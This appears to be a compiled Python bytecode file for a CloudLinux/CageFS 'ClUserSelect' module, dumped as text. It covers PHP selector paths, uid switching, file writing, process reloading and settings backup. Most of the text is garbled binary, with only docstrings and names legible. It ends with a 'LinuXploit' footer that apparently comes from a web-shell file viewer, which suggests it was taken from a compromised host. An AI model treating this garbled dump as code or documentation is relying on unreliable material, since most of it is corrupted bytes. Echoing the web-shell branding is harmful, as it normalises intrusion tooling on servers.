        N)r"r�rZr#r'rcr�)r.r#r�rps    r4r�z'ClUserSelect._remove_alternatives_links�sx���
�4�(�(�	!�	!�H��z��)�)������T�8�4�4�I��7�>�>�)�,�,�
���I�i� � � � �
	!�	!rNc�&�|jr|j�|��}|dzSt|j�|����}tj��rdn/tj�	|j
|dd�|dd��S)zz
        Composes and returns user alternative directory path
        @param user: string
        @return: string
        z
/.cl.selectorz/etc/cl.selector���Nr�zcl.selector)rJr%rwr�r�rr!r"r#r'�CAGEFS_PATH)r.r0rzr�s    r4r`z#ClUserSelect._compose_user_alt_paths�����	-��k�-�-�d�3�3�G��_�,�,��$�+�%�%�d�+�+�,�,���!�#�#�
Q����G�L�L��)�3�r�s�s�8�T�5�-�P�P�	
rNc�v�|j���}t|�����S)zB
        Returns set of system users
        @return: set
        )r%�
get_user_dictrSrk)r.�
users_dicts  r4r�zClUserSelect._get_system_userss/��
�[�.�.�0�0�
��:�?�?�$�$�%�%�%rNc��tj�|��r:	tj|��dS#t$rtj|d���wxYwdS)z?
        Deletes file to be written if it is a symlink
        z'Cannot delete symlink while saving dataN)r"r#rcr�r+rr,)�	file_paths r4�_delete_if_symlinkzClUserSelect._delete_if_symlink#su���7�>�>�)�$�$�	?�
?��	�)�$�$�$�$�$���
?�
?�
?�$�5��=�?�?�?�
?����	?�	?s	�7� Ac��|j�|��}|j}|j}t	j��}t	j��}||kr||fS	t	j|��t	j|��tj
��||fS#t$r}tj
||���d}~wwxYw)z�
        Changes to another uid and returns tuple of previous euid and egid
        @param user: string
        @return: tuple
        N)r%r&�pw_uid�pw_gidr"rB�getegid�setegid�seteuid�secureio�set_capabilityr+r�UnableToChangeToAnotherUser)r.r0�entry�new_uid�new_gid�cur_euid�cur_egidr3s        r4r)zClUserSelect._change_uid0s�����*�*�4�0�0���,���,���:�<�<���:�<�<���w����X�%�%�	F��J�w�����J�w�����#�%�%�%��X�%�%���	F�	F�	F� �<�T�1�E�E�E�����	F���s�>B�
B=�#B8�8B=c�L�|dtj��kr�tjd���	tj|d��tj|d��dS#t$r-}tjt|d��|���d}~wwxYwdS)zw
        Restores changed uid and gid to original ones
        @param uid_and_gid: tuple
        @return: None
        rT)�clearr
N)
r"rBrrrrr+rrr�)�uid_and_gidr3s  r4r-zClUserSelect._restore_uidEs����q�>�R�Z�\�\�)�)��#�$�/�/�/�/�
Y��
�;�q�>�*�*�*��
�;�q�>�*�*�*�*�*���
Y�
Y�
Y�$�@��[�QR�^�AT�AT�VW�X�X�X�����
Y����*�)s�4A*�*
B!�4(B�B!c��|s!tj�|��sdS|�|��|�|��}tj�|��}	dt
tj����z}tj�	||��}tj||�d���	ttztztz}	tj||��tj||	��n�#t$$rYn�wxYw#t&t$t(f$rp}
	tj�|��rtj|��n#YnxYwt,�|��t1j||
���d}
~
wwxYwt,�|��dS)z�
        Saves data to file
        @param user: string
        @param file_contents: string
        @param file_path: string
        @return: None
        Nzclseltmp_%s�
)r"r#r�rr)rgr��uuid�uuid4r'rr*rrr	r
�rename�chmodr+r�rr�rr-rr,)r.r0�
file_contentsr�creater2�file_directoryrg�	temp_path�maskr3s           r4�_write_to_filezClUserSelect._write_to_fileTs����	�b�g�n�n�Y�7�7�	��F����	�*�*�*�!�-�-�d�3�3�������3�3��	�#�c�$�*�,�,�&7�&7�7�G�����^�W�=�=�I��O�I����'@�A�A�A�
���(�7�2�W�<���	�)�Y�/�/�/����D�)�)�)�)���
�
�
���
�������"7�8�	@�	@�	@�
��7�>�>�)�,�,�)��I�i�(�(�(���
�������%�%�&8�9�9�9� �1�)�Q�?�?�?�����	@����	�!�!�"4�5�5�5�5�5s>�.AD$�
A	D�
D!� D!�$F+�<3E0�/F&�0E4�24F&�&F+c�6�	tj��}td��D]8}|���}|� |j�|j���8n#tj$rYnwxYw	t���	|��}n#tj
f$rYdSwxYw	tj��D]�}	||���j
|���jfvs0|����|j��dkr�h|j}n#tj$rY��wxYw	||jvrt%j|t(j����#t,f$rY��wxYwdS#t,t.f$rYdSwxYw)z&
        Reloads user process
        �N���)�psutil�Processr��parentrUr��pid�
NoSuchProcessrr��NoSuchUserException�process_iter�uids�real�	effective�name�findrZr"�kill�signal�SIGHUPr+r�)r.r0�next_parentr[r��procr9s       r4r�zClUserSelect._reload_processesws���		� �.�*�*�K��1�X�X�
�
��)�0�0�2�2���*��)�0�0���A�A�A�A�����#�	�	�	��D�	����	��'�'�/�/�$�'�'�C�C���)�,�	�	�	��F�F�	����	��+�-�-�
�
����4�9�9�;�;�#3�T�Y�Y�[�[�5J�"K�K�K�t�y�y�{�{�O_�O_�`d�`j�Ok�Ok�oq�Oq�Oq� ��(�C�C���+�����H�������$�"7�7�7����V�]�3�3�3����{�����H�����
�
����!�	�	�	��D�D�	���s��AA�A0�/A0�4!B�B*�)B*�.F�A$D1�(F�)D1�0F�1E�F�E�F�(E0�/F�0E>�;F�=E>�>F�F�Fc��g}	t|��}|D]I}|�d��r2|d|�d���}|�|���J|���n#t
tf$rYnwxYw|S)zH
        Get extension names from user extensions file comments
        z;---�z---)r�r@�rfindr��closer+r�)r#�
extensionsr��line�exts     r4�_skim_over_extensionsz"ClUserSelect._skim_over_extensions�s����
�	��t�*�*�C��
+�
+���?�?�6�*�*�+��q����E�!2�!2�2�3�C��%�%�c�*�*�*���I�I�K�K�K�K����!�	�	�	��D�	�����s�A/A4�4B�Bc���|�|��g}|�|��}tj�tj�|��d��}|���}tj�|j�|��d��}tj�	|��s�|�
|��}	tj|��nH#ttf$r4}t�|��t#j||���d}~wwxYwt�|��tj�|d��}	tj�	|��r(d|j�d|�|��d�d�}
nd|j�d	�}
|�|
��t-|�����D]�}|jr |d
z|�dd��zd
z}n8tj�|d|�dd����d��}|�|��}
|�d|j�|�dd�t-|
�����d�����|�|d�|��|	��dS)zk
        Scans all user settings and backups'em in homedir as INI file
        @param user: string
        zcl.php.dr�Nr�z[versions]
z = rr(z
 = native
z/alt_php�.r�r�zalt-phpzalt_php.ini�[z]
modules = �,)r_r`r"r#r'rgrbr%rwr<r)rrsr+rrr-rr,rZrqr�r�rkrJ�replacerNr2)r.r0�backup_contents�
user_alt_path�
user_ext_pathr\r�r2r3�user_backup_filerC�alt�
curr_ext_pathrKs              r4r�zClUserSelect._backup_settings�s���
	
�"�"�4�(�(�(����3�3�D�9�9�
�����R�W�_�_�]�%C�%C�Z�P�P�
��5�5�7�7���7�<�<��K�#�#�D�)�)�>�;�;���w�}�}�-�.�.�	:�!%�!1�!1�$�!7�!7��
K��� 0�1�1�1�1���2�3�
K�
K�
K��)�)�*<�=�=�=�$�5�6F��J�J�J�����
K����
�%�%�&8�9�9�9��7�<�<��n�.�.��
�7�=�=��'�'�	B�	B��
�
�
�D�,�,�T�2�2�1�5�5�5�7�G�G�	B�6:�Z�Z�Z�A�G����w�'�'�'��,�+�+�-�-�.�.�
	D�
	D�C��"�
A� -�
� :�S�[�[��b�=Q�=Q� Q�TZ� Z�
�
� "����!�M����S�"�-�-�-�$1�2?�!A�!A�
��3�3�M�B�B�J��"�"�"��J�J����S�X�X�f�Z�.@�.@�%A�%A�%A�%A�C�
D�
D�
D�
D�	
����$�)�)�O�,�,�.>�	@�	@�	@�	@�	@s�+D�E�/E�Ec�X�|jrdSt||��t||��dSrQ)rJrr)r.r0rCs   r4r�zClUserSelect._switch_php_da_isp�s8����	��F��t�W�-�-�-�&�t�W�5�5�5�5�5rNrQ)TT)rON)F)FFT)NNF)T)-�__name__�
__module__�__qualname__rrhrr!r�rrxr5�staticmethodrHrMrRrqrtr}r�r�r�r�r�r�r�r�r�r�r�rKr�ryr�r_r�r`r�rr)r-r2r�rNr�r��rNr4rr(s��������K�#�M�#5�8�#5�#7�#7�f�-�-�=f�K�*�N�0�M�B�B�B�B�2�"�"�"��\�"�Hp�p�p�'�'�'�'� � � � �F>�>�>�
$�
$�
$����
�
�
�����&8?�8?�8?�8?�t�3��3�����2(#�(#�(#�(#�T
&�
&�
&����	(�	(�	(�3�3�3�&�������"L�L�L�L�2#�l�?�3�3�O�#�#�#�"���0!�!�!�
�
�
� &�&�&�
?�
?�
?�&��&8�9�9��F�F�F�*Y�Y�Y� �<��-�-�L�!6�!6�!6�!6�F"�"�"�H���)�L�)>�?�?��(@�(@�(@�T6�6�6�6�6rNr)3�
__future__rrrr�r"r>r)rCr�future.movesrr��statrrr	r
�future.utilsr�pathlibrr6�clselectr�clselectexceptr�clcommonrr�
clselectprintrr�rr�clcommon.utilsr�clcagefslib.constr�clcagefslib.fsr�clcagefslib.selector.configurerrr�clcagefslib.selector.panel.dar�clcagefslib.selector.panel.isprr�rr_rNr4�<module>ros&��&�%�%�%�%�%�&�&�&�&�&�&�����������	�	�	�	�
�
�
�
�����
�
�
�
�����5�5�5�5�5�5�3�3�3�3�3�3�3�3�3�3�3�3�"�"�"�"�"�"�������
�
�
�
�������*�*�*�*�*�*�%�%�%�%�%�%�%�%�"�"�"�"�"�"�������������0�0�0�0�0�0�	�)�)�)�)�)�)�.�.�.�.�.�.�j�j�j�j�j�j�j�j�j�j�D�D�D�D�D�D�M�M�M�M�M�M�M���	�	�	��D�	����r
6�r
6�r
6�r
6�r
6�8�r
6�r
6�r
6�r
6�r
6s�:"B�B%�$B%

Youez - 2016 - github.com/yon3zu
LinuXploit